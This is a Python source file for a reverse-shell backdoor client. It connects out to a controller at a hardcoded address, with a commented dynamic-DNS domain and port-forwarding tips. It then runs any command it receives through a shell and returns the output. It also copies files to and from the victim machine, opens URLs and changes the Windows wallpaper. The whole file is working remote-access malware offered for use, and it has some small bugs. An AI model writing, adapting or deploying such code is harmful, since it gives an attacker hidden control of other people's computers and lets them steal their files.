client.py

#!/usr/bin/env python


import socket 
import subprocess 
import os          
import webbrowser
import platform
import ctypes
import hashlib







def transfer(s, command):
    x1, src, dst = map(str, command.split(' '))
    if (x1 == 'download'):
        if os.path.exists(src):
            f = open(src, 'rb')
            packet = f.read(1024)
            while packet != '':
                s.send(packet) 
                packet = f.read(1024)
            s.send('DONE')
            f.close()
        else: # the file doesn't exist
            s.send('Unable to find out the file')
        md5_cl = hashlib.md5(open(src,'rb').read()).hexdigest()
        md5_sv = s.recv(1024)
        if md5_sv == md5_cl :
            s.send('md5 OK')
        else :
            s.send('md5 NOK')
  
    elif (x1 == 'upload'):
        file_to_write = open(dst,'wb')
        bits = s.recv(1024)    
        while True: 
            if not bits.endswith('DONE'):
                file_to_write.write(bits)
            elif bits.endswith('DONE'):
                bits = bits.replace('DONE','')
                file_to_write.write(bits)
                file_to_write.close()
                break
            bits = s.recv(1024)
        md5_cl = hashlib.md5(open(dst,'rb').read()).hexdigest()
        md5_sv = s.recv(1024)
        if md5_cl == md5_sv:
            s.send('md5 OK')
        else :
            s.send('md5 NOK')
          

def __browse(s, command):

    new = 2 
    url = command.split(' ')[-1]
    url = "http://"+url
    webbrowser.open(url)

def change_desktop_bg(s,command):

    bg_path = str(command.split(' ')[-1])
    
    SPI_SETDESKWALLPAPER = 20 
    ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, bg_path , 0)

        
def connect():
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    #rmdomain is the freee dynamic domain name you created for your server it should be easy to configure it just download noip client 
    #start the client, configure your router/firewall to redirect traffic for port 8080 to your internal server and that should be it
    
    rmdomain = 'dontrace.ddns.net'
    while True:
    	#rhost=socket.gethostbyname(rmdomain)
    	if s.connect_ex(('192.168.1.2',8096))==0:

    		break
    
    CMD =  subprocess.Popen('whoami', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    s.send(CMD.stdout.read())
    while True: 
        
        command = s.recv(1024)

        if 'terminate' in command:
            s.close()
            break 
        elif 'download' in command:            
            transfer(s, command)
        elif 'upload' in command:
            transfer(s, command)
        elif 'browse' in command:
            __browse(s, command)
        elif ('change_desktop_bg' in command ) and (os=='Windows'):             #BTW This is working only on windows
            change_desktop_bg(s, command)
        else:
            CMD =  subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send(CMD.stdout.read())
            s.send(CMD.stderr.read())
            
            

def main ():
    connect()
main()